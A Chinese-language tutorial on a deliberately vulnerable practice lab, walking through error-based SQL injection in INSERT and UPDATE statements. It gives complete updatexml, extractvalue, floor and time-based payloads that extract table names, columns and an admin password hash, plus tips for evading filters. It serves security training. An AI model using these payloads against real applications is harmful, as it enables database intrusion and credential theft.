[Pikachu靶场实战系列] SQL注入(insert/update报错注入技巧全解析)
1. 初识Insert与Update注入当“增改”操作成为突破口很多刚接触Web安全测试的朋友对SQL注入的理解可能还停留在select查询语句上比如在搜索框、登录框里尝试 or 11 --。但实战中注入点可能出现在任何与数据库交互的地方尤其是那些“写入”和“修改”数据的功能。Pikachu靶场里的Insert/Update注入关卡就是专门为我们补上这块实战短板的。简单来说Insert注入通常发生在数据“新增”的场景比如用户注册、发布新文章、添加商品到购物车。后端代码的逻辑大概是INSERT INTO users (username, password) VALUES ($username, $password)。如果$username或$password这些我们可控的输入点没有经过严格过滤就被直接拼接进SQL语句那么攻击者就能像操纵select语句一样操纵这条insert语句执行任意SQL代码。Update注入则发生在数据“更新”的场景比如修改个人信息、更新订单状态、重置密码。它的后端逻辑类似UPDATE users SET email$email WHERE id$id。同样如果$email或$id等参数可控且未过滤这里也会成为注入的温床。为什么这两种注入特别值得关注呢第一它们往往位于需要一定权限才能访问的功能点如已登录用户的个人中心容易被常规扫描器忽略第二由于执行的是insert或update操作页面通常没有直接的“数据回显”你无法像在查询注入里那样直接把数据库名、表名直接显示在网页上。这就引出了我们本次实战的核心技巧报错注入。当页面没有正常回显时我们可以通过故意构造一个会让数据库报错的SQL语句让数据库在执行insert或update的同时把我们需要查询的信息比如数据库名、表内容通过错误信息“吐”出来。这就像你问一个人问题他不回答但你故意激怒他他一生气骂你的时候反而把秘密说漏嘴了。在Pikachu靶场中这两个漏洞点设计得非常典型。Insert注入点就在一个看似无害的“用户注册”页面而Update注入点则在登录后的“修改个人信息”功能里。接下来我们就手把手地从最基础的漏洞发现开始一步步拆解如何利用报错注入技巧在无回显的场景下“盲摸”出整个数据库。2. 实战Insert注入从用户注册到数据库“脱裤”我们首先进入Pikachu靶场的“Insert注入”关卡。面前是一个标准的用户注册页面需要填写用户名、密码、性别、手机号等信息。我的习惯是见到任何输入框先想它会不会直接拼接到SQL语句里最简单的测试方法就是输入一个单引号。我在用户名处输入admiin注意这里故意拼错是为了测试一个不存在的用户避免和已注册用户冲突其他信息随便填点击注册。果然页面返回了一个MySQL语法错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near admiin, 123456, 1, 13800138000, testtest.com, Beijing) at line 1这个报错信息是金矿它直接把后端拼接好的SQL语句片段暴露给我们了。从near admiin这里可以看出我们输入的用户名admiin被两个单引号包裹了这说明注入点就在用户名这里并且原SQL语句是用单引号来包裹字符串值的。但仔细看错误提示的末尾是)这说明整个VALUES列表很可能被一对括号()包裹着。所以我们不仅要闭合前面的单引号还要处理后面的那个括号。为了确认SQL语句的结构我通常会尝试构造一个合法的插入语句来“猜”。我尝试输入admiin,111,222,333,444,555)#。这个Payload的意思是admiin闭合用户名并结束字符串后面的,‘111’等是用来匹配INSERT语句中其他字段的值最后用)#注释掉原语句末尾可能存在的)。提交后如果页面没有报错或者提示注册成功/失败而非SQL错误那就说明我们猜对了语句结构。在Pikachu里这样操作后页面会跳转表明确实执行了插入操作验证了我们的猜测。漏洞确认了但问题来了注册页面成功后只会跳转或提示“注册成功”它不会把数据库里查询到的数据展示给你看。这就是典型的“无回显”场景。这时候就该报错注入登场了。我们的目标是让数据库在执行插入操作的同时执行一个查询并把查询结果通过错误信息返回。MySQL提供了几个有用的报错函数比如updatexml()、extractvalue()和floor()。在Pikachu这个环境里我们主要使用updatexml()。它的语法是UPDATEXML(XML_document, XPath_string, new_value)本意是更新XML文档的内容。但如果第二个参数XPath_string的格式是非法的它就会报错并把这个非法字符串的内容显示在错误信息里。我们可以利用这个特性把我们要执行的SQL查询语句的结果作为这个非法XPath字符串的一部分。构造第一个Payload在用户名处输入admiin and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) or 我来拆解一下这个“魔法”admiin闭合原语句中用户名前的单引号。and逻辑与确保我们的报错语句能成为原INSERT语句执行条件的一部分。updatexml(1, concat(0x7e, (select database()), 0x7e), 1)这是核心。concat(0x7e, (select database()), 0x7e)会把波浪号~、当前数据库名、再一个~连接成一个字符串例如~pikachu~。0x7e是~的十六进制因为~在XPath语法中是非法字符能触发updatexml报错。(select database())就是我们要执行的查询。or 闭合原SQL语句中用户名后面的那个单引号。这样整个注入语句就能无缝嵌入到原INSERT语句中形成类似INSERT INTO ... VALUES (admiin and updatexml(...) or , password, ...)的结构。提交这个Payload后页面没有跳转而是直接返回了一个错误XPATH syntax error: ~pikachu~。太棒了我们成功通过报错信息拿到了当前数据库的名字pikachu。这个过程就像是在执行插入命令的“路上”强行插队让数据库先算了个数学题查库名并且把答案写在了错误报告里。3. 深入报错注入利用updatexml()分段提取数据拿到数据库名只是第一步。我们的终极目标是获取数据库里敏感的表数据比如users表中的用户名和密码。但直接查询select table_name from information_schema.tables会返回多行结果而updatexml()报错一次只能显示一行信息的一部分约32个字符。所以我们需要用到substr()或mid()这样的字符串截取函数以及group_concat()或limit来控制返回的数据。首先我们来获取当前数据库pikachu中的所有表名。因为表名可能很长我们使用group_concat(table_name)把所有表名用逗号连接成一个长字符串再用substr()分段取出。构造Payload如下 or updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 31), 0x7e), 1) or 这个Payload比之前复杂一些 or ... or 用or进行闭合这样无论前面条件如何我们的报错语句都会执行。substr((select ...), 1, 31)从合并后的表名字符串的第1个字符开始截取31个字符。为什么是31因为updatexml报错显示的信息长度有限需要留出一个字符给前缀的~。where table_schemadatabase()限定只查询当前数据库pikachu下的表。提交后报错信息显示XPATH syntax error: ~httpinfo,member,message,users,xs。可以看到我们得到了部分表名httpinfo,member,message,users,xs但最后一个表名xssblind被截断了只显示了xs。这就需要我们进行第二次查询从第32个字符开始截取。修改Payload中的起始位置 or updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 32, 31), 0x7e), 1) or 这次返回XPATH syntax error: ~sblind~。将两次的结果拼接就得到了完整的表名列表httpinfo, member, message, users, xssblind。我们的目标很明确就是那个存放用户凭证的users表。接下来查询users表有哪些列字段。Payload构造思路类似只是查询的目标变成了information_schema.columns or updatexml(1, concat(0x7e, substr((select group_concat(column_name) from information_schema.columns where table_nameusers), 1, 31), 0x7e), 1) or 注意这里where table_nameusers中的users需要用单引号引起来。提交后得到报错信息XPATH syntax error: ~USER,CURRENT_CONNECTIONS,TOTAL_。信息被截断我们依次调整substr()的起始位置为32、63进行查询最终拼接出users表的完整列名USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id, username, password, level。我们最关心的当然是username和password列。最后就是激动人心的时刻提取users表中的实际数据。我们使用concat(username, ;, password)将用户名和密码用分号连接起来再用group_concat合并所有用户的数据。同样需要分段查询 or updatexml(1, concat(0x7e, substr((select group_concat(concat(username, ;, password)) from users), 1, 31), 0x7e), 1) or 返回XPATH syntax error: ~admin;e10adc3949ba59abbe56e。看到了admin用户和其密码MD5值的前半部分。进行第二次查询从第32位开始 or updatexml(1, concat(0x7e, substr((select group_concat(concat(username, ;, password)) from users), 32, 31), 0x7e), 1) or 返回XPATH syntax error: ~057f20f883e~。拼接后我们得到admin用户的完整密码哈希e10adc3949ba59abbe56e057f20f883e。经验丰富的你一眼就能看出这是123456的MD5值。至此通过Insert报错注入我们成功从注册入口“盲打”出了后台的管理员密码。4. 转向Update注入个人资料修改处的陷阱搞定了Insert注入我们再来看看Update注入。在Pikachu靶场中你需要先用刚才注入出的账号或者随便注册一个账号登录系统。登录后通常会有一个“修改个人信息”或“个人资料”的功能这就是典型的Update操作场景。我登录后找到修改信息的页面随意修改了手机号或地址然后提交并用Burp Suite或浏览器开发者工具抓取这个POST请求。抓到的数据包大概长这样sex1phonenum13888888888addShanghaiemailnewtest.comsubmitsubmit我的测试思路是尝试在每个参数后面添加一个单引号观察哪个参数会引发数据库报错。当我尝试在sex参数值后面加单引号即发送sex1时页面果然返回了SQL语法错误。这说明sex这个字段存在注入点并且它很可能被直接用于类似UPDATE users SET sex$sex WHERE usernamexxx这样的语句中。确认漏洞后利用方式和Insert注入如出一辙。因为同样是Update语句中的值未过滤并且页面没有回显。我们直接祭出报错注入Payload。例如查询当前数据库名sex1 or updatexml(1, concat(0x7e, database()), 0) or phonenum111add111email111submitsubmit这个Payload的构造逻辑和Insert注入完全一致1闭合原SET sex中的单引号。or updatexml(...) or 插入我们的报错注入语句并用or 闭合后面可能存在的单引号。后面的phonenum111...是其他参数保持原样即可。提交后同样会收到XPATH syntax error: ~pikachu~的报错成功验证漏洞并获取信息。后续的数据提取流程无论是查表、查列还是查数据其Payload构造方法与上一节在Insert注入中演示的完全一样只需要把注入点从注册时的username字段换成这里的sex字段即可。你可以把之前用来查表、查用户数据的Payload直接套用到这个Update请求的sex参数里就能一步步提取出所有信息。这里有一个实战小技巧在Update注入中由于你通常已经处于登录状态你的请求会携带Cookie或Session。所以用工具如Burp Repeater重放请求时一定要把浏览器中的Cookie值也复制过去否则服务器会认为你未登录而拒绝请求。我刚开始玩的时候就经常忘了带Cookie对着一个返回302跳转的页面琢磨半天后来才反应过来是权限问题。5. 报错注入函数全解析与技巧进阶在整个实战过程中我们主要依赖了updatexml()这个函数。但MySQL中可用于报错注入的函数不止这一个了解它们的原理和差异能让你在遇到WAF过滤或特定环境时有更多的选择。下面我对比一下几个常用的报错函数函数语法报错原理特点与限制updatexml()UPDATEXML(XML_doc, XPath_str, new_val)第二个参数XPath_str包含非法字符如~0x7e,^0x5e或格式错误时。最常用。报错信息可返回约32个字符。需要concat()拼接特殊字符触发。extractvalue()EXTRACTVALUE(XML_doc, XPath_str)第二个参数XPath_str包含非法字符或格式错误时。与updatexml()原理类似用法几乎可以互换。也是返回约32字符。floor() rand() group byselect count(*), concat((payload), floor(rand(0)*2)) x from table group by xrand()在group by时的重复计算导致主键冲突。无需依赖XML函数在特定版本如MySQL 5.x下稳定。但Payload较长且固定。exp()exp(~(select ...))对超大数如~取反后结果进行指数运算产生溢出错误。另一种绕过思路。~按位取反运算符常被用来构造大数。在实际渗透测试中如果发现updatexml()和extractvalue()被WAF或过滤规则盯上了可以尝试换用floor()报错。它的经典Payload长这样 or (select 1 from (select count(*), concat((select database()), floor(rand(0)*2)) x from information_schema.tables group by x) a) or 这个Payload看起来复杂但其核心是利用了floor(rand(0)*2)这个“随机”数在group by时的确定性重复特性导致计数时出现重复键而报错。报错信息中会包含我们concat进去的查询结果。除了函数选择数据分段提取是报错注入的另一个核心技巧。当查询结果很长时比如group_concat了所有用户密码我们必须像前面做的那样用substr(string, start, length)来分块读取。这里有几个细节需要注意起始位置计算substr()的起始索引通常是1不是0。每次截取后下一次的起始位置是当前起始位置 本次截取长度。我一般习惯用31作为长度为报错信息开头的~留出位置。使用limit替代group_concat如果group_concat被禁用或者返回结果超长被截断可以用limit子句一行行读取。例如(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)每次只取一行然后通过修改limit N,1中的N来遍历所有行。闭合的稳定性在Insert/Update注入中闭合方式除了我们用的 or payload or 有时也可能遇到)、))等闭合。关键在于仔细观察第一次单引号报错时错误信息中暴露的SQL语句片段灵活调整闭合方式。最后再分享一个我踩过的坑在实战中有时updatexml()报错返回的信息会被Web应用程序全局错误处理器截断或美化只返回一个通用的“数据库错误”页面不显示具体内容。这时候可以尝试使用基于时间的盲注作为备选方案。虽然效率低但更隐蔽。例如在Update注入点可以尝试sex1 and if(ascii(substr(database(),1,1))112, sleep(5), 1) or 通过页面响应时间是否延迟5秒来判断字符是否正确。这属于另一个话题了但多一种技术储备就多一条路。